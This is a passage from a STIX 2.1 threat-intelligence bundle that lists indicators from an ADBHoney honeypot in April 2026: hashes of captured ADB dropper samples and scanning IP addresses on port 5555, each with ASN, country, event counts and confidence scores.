      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-11T23:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/4e215c9a2098adb8e0759f6de2ae38e4c38e7710ffe9fab16bb0ccef1552fee8.raw; last_seen=2026-04-11T22:42:18.799Z",
      "id": "indicator--00c7d521-1a7b-4af5-854d-8275409a22cf",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = '4e215c9a2098adb8e0759f6de2ae38e4c38e7710ffe9fab16bb0ccef1552fee8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T23:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-11T23:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/7eafec1fc85a23625e1ce38291c43c9649931cad42ffbeb0d6ac0bcc765f9d5e.raw; last_seen=2026-04-11T22:42:18.007Z",
      "id": "indicator--7b655548-a3a8-4b42-bcd1-cda6259b2e05",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = '7eafec1fc85a23625e1ce38291c43c9649931cad42ffbeb0d6ac0bcc765f9d5e']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T23:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-12T00:00:19.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=10; ports=5555; cc=BR; asn=267062; asn_org=W-NET TELLECOM EIRELI ME; cats=Generic Protocol Command Decode,Misc activity; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=166 | first_seen=2026-04-11T20:12:09.000Z | last_seen=2026-04-23T20:10:54.656Z | ports=5555 | cc=BR | asn=267062 | org=W-NET TELLECOM EIRELI ME",
      "id": "indicator--f286e528-3b9d-4fe9-9404-627f60874dc1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.228.8.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T00:00:19.000Z",
      "valid_until": "2026-05-14T00:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 166,
          "first_seen": "2026-04-11T20:12:09.000Z",
          "last_seen": "2026-04-23T20:10:54.656Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BR"
          ],
          "asn": [
            "267062"
          ],
          "org": [
            "W-NET TELLECOM EIRELI ME"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-12T05:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=23470; asn_org=ReliableSite.Net LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-12T04:29:52.000Z | last_seen=2026-04-12T04:31:01.715Z | ports=5555 | cc=US | asn=23470 | org=ReliableSite.Net LLC",
      "id": "indicator--7be4f4c7-61ad-4de8-b410-abb7ad948a90",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '104.243.34.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T05:00:05.000Z",
      "valid_until": "2026-05-14T05:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-12T04:29:52.000Z",
          "last_seen": "2026-04-12T04:31:01.715Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "23470"
          ],
          "org": [
            "ReliableSite.Net LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-12T05:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=140527; asn_org=China Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=15 | first_seen=2026-04-12T04:50:29.000Z | last_seen=2026-04-19T05:52:15.402Z | ports=5555 | cc=CN | asn=140527 | org=China Telecom",
      "id": "indicator--f6c7b444-5c66-4a45-9dd1-ce918358dc49",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '117.68.74.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T05:00:05.000Z",
      "valid_until": "2026-05-14T05:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 15,
          "first_seen": "2026-04-12T04:50:29.000Z",
          "last_seen": "2026-04-19T05:52:15.402Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "140527"
          ],
          "org": [
            "China Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-12T05:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=16 | first_seen=2026-04-12T04:09:55.000Z | last_seen=2026-04-12T04:21:00.610Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--2d31c709-bd55-4ac1-aae0-6b51b8d1487f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '147.185.133.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T05:00:05.000Z",
      "valid_until": "2026-05-14T05:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 16,
          "first_seen": "2026-04-12T04:09:55.000Z",
          "last_seen": "2026-04-12T04:21:00.610Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-12T06:00:07.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=20; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=22 | first_seen=2026-04-12T05:51:23.000Z | last_seen=2026-04-12T06:02:53.728Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--20fc3304-699c-40e8-9daa-817ede97b8c8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T06:00:07.000Z",
      "valid_until": "2026-05-14T06:00:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 22,
          "first_seen": "2026-04-12T05:51:23.000Z",
          "last_seen": "2026-04-12T06:02:53.728Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-12T07:00:54.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-12T06:21:52.000Z | last_seen=2026-04-12T06:22:56.129Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--9620fbc4-d0fb-4d74-be4e-8b8fd482a337",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '184.105.247.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T07:00:54.000Z",
      "valid_until": "2026-05-14T07:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-12T06:21:52.000Z",
          "last_seen": "2026-04-12T06:22:56.129Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-12T08:00:08.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=NL; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-12T07:06:26.000Z | last_seen=2026-04-12T07:07:32.223Z | ports=5555 | cc=NL | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--58d736bb-b41e-408c-b6a2-a576e520fd37",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '165.22.206.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T08:00:08.000Z",
      "valid_until": "2026-05-14T08:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-12T07:06:26.000Z",
          "last_seen": "2026-04-12T07:07:32.223Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-12T09:00:12.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=16 | first_seen=2026-04-12T08:31:19.000Z | last_seen=2026-04-12T08:41:31.665Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--4bc4bad6-26a7-483a-88a2-fbc0990e9146",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '143.110.195.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T09:00:12.000Z",
      "valid_until": "2026-05-14T09:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 16,
          "first_seen": "2026-04-12T08:31:19.000Z",
          "last_seen": "2026-04-12T08:41:31.665Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-12T12:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=41; ports=5555; cc=US; asn=35251; asn_org=NetLab Global; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=41 | first_seen=2026-04-12T11:41:34.000Z | last_seen=2026-04-12T11:49:54.831Z | ports=5555 | cc=US | asn=35251 | org=NetLab Global",
      "id": "indicator--4b4cf7f8-0ffa-433d-944c-02174ac6a816",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '154.12.33.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T12:00:02.000Z",
      "valid_until": "2026-05-14T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 41,
          "first_seen": "2026-04-12T11:41:34.000Z",
          "last_seen": "2026-04-12T11:49:54.831Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "35251"
          ],
          "org": [
            "NetLab Global"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-12T12:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-12T11:27:11.000Z | last_seen=2026-04-12T11:28:13.629Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--fbb7ef75-7c04-4a05-b6b0-8be6ad31697b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '157.230.81.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T12:00:02.000Z",
      "valid_until": "2026-05-14T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-12T11:27:11.000Z",
          "last_seen": "2026-04-12T11:28:13.629Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-12T12:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=GR; asn=6799; asn_org=OTEnet S.A.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-12T11:04:52.000Z | last_seen=2026-04-12T11:14:53.454Z | ports=5555 | cc=GR | asn=6799 | org=OTEnet S.A.",
      "id": "indicator--89d731e1-6032-4eaa-be30-63561dc64531",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '2.84.96.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T12:00:02.000Z",
      "valid_until": "2026-05-14T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-12T11:04:52.000Z",
          "last_seen": "2026-04-12T11:14:53.454Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GR"
          ],
          "asn": [
            "6799"
          ],
          "org": [
            "OTEnet S.A."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-12T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-12T13:37:19.000Z | last_seen=2026-04-12T13:38:26.874Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--7d195c17-0554-45ef-99b5-36358eaeabdb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T14:00:02.000Z",
      "valid_until": "2026-05-14T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-12T13:37:19.000Z",
          "last_seen": "2026-04-12T13:38:26.874Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-12T15:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=25; ports=5555; cc=US; asn=8075; asn_org=Microsoft Corporation; cats=Detection of a Network Scan; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=25 | first_seen=2026-04-12T14:26:09.000Z | last_seen=2026-04-12T14:38:51.818Z | ports=5555 | cc=US | asn=8075 | org=Microsoft Corporation",
      "id": "indicator--ba1b5491-87c4-4750-bac4-c7e775e3dd0d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.202.118.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T15:00:01.000Z",
      "valid_until": "2026-05-14T15:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 25,
          "first_seen": "2026-04-12T14:26:09.000Z",
          "last_seen": "2026-04-12T14:38:51.818Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "8075"
          ],
          "org": [
            "Microsoft Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-12T21:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=NL; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=16 | first_seen=2026-04-12T20:11:25.000Z | last_seen=2026-04-12T20:23:03.523Z | ports=5555 | cc=NL | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--649f2fb1-7666-4e9e-88d2-4a45ccda4d9e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '188.166.24.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T21:00:01.000Z",
      "valid_until": "2026-05-14T21:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 16,
          "first_seen": "2026-04-12T20:11:25.000Z",
          "last_seen": "2026-04-12T20:23:03.523Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-13T01:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=27; ports=5555; cc=SG; asn=13335; asn_org=Cloudflare, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=27 | first_seen=2026-04-13T00:39:23.000Z | last_seen=2026-04-13T00:40:43.772Z | ports=5555 | cc=SG | asn=13335 | org=Cloudflare, Inc.",
      "id": "indicator--e176dca2-d935-4149-b8c1-f197d28f9de4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '104.28.159.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T01:00:01.000Z",
      "valid_until": "2026-05-15T01:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
